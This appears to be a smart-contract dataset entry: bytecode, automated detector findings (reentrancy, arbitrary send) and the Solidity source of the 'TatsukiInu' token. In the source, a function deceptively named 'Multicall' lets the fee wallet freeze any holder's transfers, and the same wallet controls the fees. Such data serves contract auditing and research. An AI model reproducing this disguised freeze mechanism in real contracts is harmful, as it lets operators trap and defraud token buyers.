028461215190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d6a573d6000803e3d6000fd5b5050565b6000600654821115611db5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dac90612ef6565b60405180910390fd5b6000611dbf6121c8565b9050611dd4818461215190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e685781602001602082028036833780820191505090505b5090503081600081518110611ea6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4857600080fd5b505afa158015611f5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f809190612923565b81600181518110611fba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611285565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612085959493929190613071565b600060405180830381600087803b15801561209f57600080fd5b505af11580156120b3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120e9576000905061214b565b600082846120f79190613213565b905082848261210691906131e2565b14612146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213d90612f76565b60405180910390fd5b809150505b92915050565b600061219383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f3565b905092915050565b806121a9576121a8612256565b5b6121b4848484612287565b806121c2576121c1612452565b5b50505050565b60008060006121d5612464565b915091506121ec818361215190919063ffffffff16565b9250505090565b6000808311829061223a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122319190612eb4565b60405180910390fd5b506000838561224991906131e2565b9050809150509392505050565b600060085414801561226a57506000600954145b1561227457612285565b600060088190555060006009819055505b565b600080600080600080612299876124c0565b9550955095509550955095506122f786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d8816125d0565b6123e2848361268d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161243f9190613056565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000662386f26fc100009050612496662386f26fc1000060065461215190919063ffffffff16565b8210156124b357600654662386f26fc100009350935050506124bc565b81819350935050505b9091565b60008060008060008060008060006124dd8a6008546009546126c7565b92509250925060006124ed6121c8565b905060008060006125008e87878761275d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061256a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0f565b905092915050565b6000808284612581919061318c565b9050838110156125c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125bd90612f36565b60405180910390fd5b8091505092915050565b60006125da6121c8565b905060006125f182846120d690919063ffffffff16565b905061264581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126a28260065461252890919063ffffffff16565b6006819055506126bd8160075461257290919063ffffffff16565b6007819055505050565b6000806000806126f360646126e5888a6120d690919063ffffffff16565b61215190919063ffffffff16565b9050600061271d606461270f888b6120d690919063ffffffff16565b61215190919063ffffffff16565b9050600061274682612738858c61252890919063ffffffff16565b61252890919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061277685896120d690919063ffffffff16565b9050600061278d86896120d690919063ffffffff16565b905060006127a487896120d690919063ffffffff16565b905060006127cd826127bf858761252890919063ffffffff16565b61252890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127f96127f48461310b565b6130e6565b9050808382526020820190508285602086028201111561281857600080fd5b60005b85811015612848578161282e8882612852565b84526020840193506020830192505060018101905061281b565b5050509392505050565b60008135905061286181613749565b92915050565b60008151905061287681613749565b92915050565b600082601f83011261288d57600080fd5b813561289d8482602086016127e6565b91505092915050565b6000813590506128b581613760565b92915050565b6000815190506128ca81613760565b92915050565b6000813590506128df81613777565b92915050565b6000815190506128f481613777565b92915050565b60006020828403121561290c57600080fd5b600061291a84828501612852565b91505092915050565b60006020828403121561293557600080fd5b600061294384828501612867565b91505092915050565b6000806040838503121561295f57600080fd5b600061296d85828601612852565b925050602061297e85828601612852565b9150509250929050565b60008060006060848603121561299d57600080fd5b60006129ab86828701612852565b93505060206129bc86828701612852565b92505060406129cd868287016128d0565b9150509250925092565b600080604083850312156129ea57600080fd5b60006129f885828601612852565b9250506020612a09858286016128d0565b9150509250929050565b600060208284031215612a2557600080fd5b600082013567ffffffffffffffff811115612a3f57600080fd5b612a4b8482850161287c565b91505092915050565b600060208284031215612a6657600080fd5b6000612a74848285016128a6565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128bb565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128d0565b91505092915050565b600080600060608486031215612ae457600080fd5b6000612af2868287016128e5565b9350506020612b03868287016128e5565b9250506040612b14868287016128e5565b9150509250925092565b6000612b2a8383612b36565b60208301905092915050565b612b3f816132a1565b82525050565b612b4e816132a1565b82525050565b6000612b5f82613147565b612b69818561316a565b9350612b7483613137565b8060005b83811015612ba5578151612b8c8882612b1e565b9750612b978361315d565b925050600181019050612b78565b5085935050505092915050565b612bbb816132b3565b82525050565b612bca816132f6565b82525050565b6000612bdb82613152565b612be5818561317b565b9350612bf5818560208601613308565b612bfe81613442565b840191505092915050565b6000612c1660238361317b565b9150612c2182613453565b604082019050919050565b6000612c39602a8361317b565b9150612c44826134a2565b604082019050919050565b6000612c5c60228361317b565b9150612c67826134f1565b604082019050919050565b6000612c7f601b8361317b565b9150612c8a82613540565b602082019050919050565b6000612ca2601d8361317b565b9150612cad82613569565b602082019050919050565b6000612cc560218361317b565b9150612cd082613592565b604082019050919050565b6000612ce860208361317b565b9150612cf3826135e1565b602082019050919050565b6000612d0b60298361317b565b9150612d168261360a565b604082019050919050565b6000612d2e60258361317b565b9150612d3982613659565b604082019050919050565b6000612d5160248361317b565b9150612d5c826136a8565b604082019050919050565b6000612d7460178361317b565b9150612d7f826136f7565b602082019050919050565b6000612d9760118361317b565b9150612da282613720565b602082019050919050565b612db6816132df565b82525050565b612dc5816132e9565b82525050565b6000602082019050612de06000830184612b45565b92915050565b6000604082019050612dfb6000830185612b45565b612e086020830184612b45565b9392505050565b6000604082019050612e246000830185612b45565b612e316020830184612dad565b9392505050565b600060c082019050612e4d6000830189612b45565b612e5a6020830188612dad565b612e676040830187612bc1565b612e746060830186612bc1565b612e816080830185612b45565b612e8e60a0830184612dad565b979650505050505050565b6000602082019050612eae6000830184612bb2565b92915050565b60006020820190508181036000830152612ece8184612bd0565b905092915050565b60006020820190508181036000830152612eef81612c09565b9050919050565b60006020820190508181036000830152612f0f81612c2c565b9050919050565b60006020820190508181036000830152612f2f81612c4f565b9050919050565b60006020820190508181036000830152612f4f81612c72565b9050919050565b60006020820190508181036000830152612f6f81612c95565b9050919050565b60006020820190508181036000830152612f8f81612cb8565b9050919050565b60006020820190508181036000830152612faf81612cdb565b9050919050565b60006020820190508181036000830152612fcf81612cfe565b9050919050565b60006020820190508181036000830152612fef81612d21565b9050919050565b6000602082019050818103600083015261300f81612d44565b9050919050565b6000602082019050818103600083015261302f81612d67565b9050919050565b6000602082019050818103600083015261304f81612d8a565b9050919050565b600060208201905061306b6000830184612dad565b92915050565b600060a0820190506130866000830188612dad565b6130936020830187612bc1565b81810360408301526130a58186612b54565b90506130b46060830185612b45565b6130c16080830184612dad565b9695505050505050565b60006020820190506130e06000830184612dbc565b92915050565b60006130f0613101565b90506130fc828261333b565b919050565b6000604051905090565b600067ffffffffffffffff82111561312657613125613413565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613197826132df565b91506131a2836132df565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131d7576131d66133b5565b5b828201905092915050565b60006131ed826132df565b91506131f8836132df565b925082613208576132076133e4565b5b828204905092915050565b600061321e826132df565b9150613229836132df565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613262576132616133b5565b5b828202905092915050565b6000613278826132df565b9150613283836132df565b925082821015613296576132956133b5565b5b828203905092915050565b60006132ac826132bf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613301826132df565b9050919050565b60005b8381101561332657808201518184015260208101905061330b565b83811115613335576000848401525b50505050565b61334482613442565b810181811067ffffffffffffffff8211171561336357613362613413565b5b80604052505050565b6000613377826132df565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133aa576133a96133b5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613752816132a1565b811461375d57600080fd5b50565b613769816132b3565b811461377457600080fd5b50565b613780816132df565b811461378b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654d696e6920466c6f6b6920496e75207c20742e6d652f4d696e69666c6f6b69696e75a2646970667358221220dea27250da1d81e6559cf26e11a98fe6eabb261bf9c0f2ead9ca001aa459658864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,476 |
0xdc780be581cfe26e3fb8518557189ae21f5efa8c | /**
TatsukiInu is The New Anime Coin With Low Tax For Our Holders.
Buy & Sell Fee : 5 / 5%
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TatsukiInu is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"TatsukiInu"; ////
string public constant symbol = unicode"TATSUKI"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 4;
uint public _sellFee = 4;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106102085760003560e01c806349bd5a5e1161011857806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105f9578063db92dbb61461060e578063dcb0e0ad14610623578063dd62ed3e14610643578063e8078d941461068957600080fd5b806395d89b411461057b578063a9059cbb146105ae578063b2131f7d146105ce578063c3c8cd80146105e457600080fd5b806370a08231116100e757806370a08231146104e8578063715018a6146105085780637a49cddb1461051d5780638da5cb5b1461053d57806394b8d8f21461055b57600080fd5b806349bd5a5e1461047d578063509016171461049d578063590f897e146104bd5780636fc3eaec146104d357600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b65780633bbac579146103ee5780633bed43551461042757806340b9a54b1461044757806345596e2e1461045d57600080fd5b806327f3a72a14610344578063313ce5671461035957806331c2d8471461038057806332d873d8146103a057600080fd5b80630b78f9c0116101d75780630b78f9c0146102d257806318160ddd146102f25780631940d0201461030e57806323b872dd1461032457600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f614610280578063095ea7b3146102a257600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b506102736040518060400160405280600a81526020016954617473756b69496e7560b01b81525081565b6040516102349190611c23565b34801561028c57600080fd5b506102a061029b366004611c9d565b61069e565b005b3480156102ae57600080fd5b506102c26102bd366004611cba565b610713565b6040519015158152602001610234565b3480156102de57600080fd5b506102a06102ed366004611ce6565b610729565b3480156102fe57600080fd5b50683635c9adc5dea0000061022a565b34801561031a57600080fd5b5061022a600f5481565b34801561033057600080fd5b506102c261033f366004611d08565b6107ac565b34801561035057600080fd5b5061022a610894565b34801561036557600080fd5b5061036e600981565b60405160ff9091168152602001610234565b34801561038c57600080fd5b506102a061039b366004611d5f565b6108a4565b3480156103ac57600080fd5b5061022a60105481565b3480156103c257600080fd5b506009546103d6906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103fa57600080fd5b506102c2610409366004611c9d565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043357600080fd5b506008546103d6906001600160a01b031681565b34801561045357600080fd5b5061022a600b5481565b34801561046957600080fd5b506102a0610478366004611e24565b610930565b34801561048957600080fd5b50600a546103d6906001600160a01b031681565b3480156104a957600080fd5b506102a06104b8366004611c9d565b6109f4565b3480156104c957600080fd5b5061022a600c5481565b3480156104df57600080fd5b506102a0610a62565b3480156104f457600080fd5b5061022a610503366004611c9d565b610a8f565b34801561051457600080fd5b506102a0610aaa565b34801561052957600080fd5b506102a0610538366004611d5f565b610b1e565b34801561054957600080fd5b506000546001600160a01b03166103d6565b34801561056757600080fd5b506011546102c29062010000900460ff1681565b34801561058757600080fd5b506102736040518060400160405280600781526020016654415453554b4960c81b81525081565b3480156105ba57600080fd5b506102c26105c9366004611cba565b610c2d565b3480156105da57600080fd5b5061022a600d5481565b3480156105f057600080fd5b506102a0610c3a565b34801561060557600080fd5b506102a0610c70565b34801561061a57600080fd5b5061022a610d14565b34801561062f57600080fd5b506102a061063e366004611e4b565b610d2c565b34801561064f57600080fd5b5061022a61065e366004611e68565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069557600080fd5b506102a0610da9565b6008546001600160a01b0316336001600160a01b0316146106be57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006107203384846110f0565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074957600080fd5b600a82111561075757600080fd5b600a81111561076557600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107da57506001600160a01b03831660009081526004602052604090205460ff16155b80156107f35750600a546001600160a01b038581169116145b15610842576001600160a01b03831632146108425760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61084d848484611214565b6001600160a01b038416600090815260036020908152604080832033845290915281205461087c908490611eb7565b90506108898533836110f0565b506001949350505050565b600061089f30610a8f565b905090565b6008546001600160a01b0316336001600160a01b0316146108c457600080fd5b60005b815181101561092c576000600660008484815181106108e8576108e8611ece565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092481611ee4565b9150506108c7565b5050565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161083990611efd565b6008546001600160a01b0316336001600160a01b03161461097a57600080fd5b600081116109bf5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610839565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610708565b6009546001600160a01b0316336001600160a01b031614610a1457600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610708565b6008546001600160a01b0316336001600160a01b031614610a8257600080fd5b47610a8c81611882565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161083990611efd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610b3e57600080fd5b60005b815181101561092c57600a5482516001600160a01b0390911690839083908110610b6d57610b6d611ece565b60200260200101516001600160a01b031614158015610bbe575060075482516001600160a01b0390911690839083908110610baa57610baa611ece565b60200260200101516001600160a01b031614155b15610c1b57600160066000848481518110610bdb57610bdb611ece565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c2581611ee4565b915050610b41565b6000610720338484611214565b6008546001600160a01b0316336001600160a01b031614610c5a57600080fd5b6000610c6530610a8f565b9050610a8c81611907565b6000546001600160a01b03163314610c9a5760405162461bcd60e51b815260040161083990611efd565b60115460ff1615610ce75760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610839565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a5460009061089f906001600160a01b0316610a8f565b6000546001600160a01b03163314610d565760405162461bcd60e51b815260040161083990611efd565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610708565b6000546001600160a01b03163314610dd35760405162461bcd60e51b815260040161083990611efd565b60115460ff1615610e205760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610839565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e5d3082683635c9adc5dea000006110f0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebf9190611f32565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f309190611f32565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa19190611f32565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fd181610a8f565b600080610fe66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561104e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110739190611f4f565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110cc573d6000803e3d6000fd5b5050505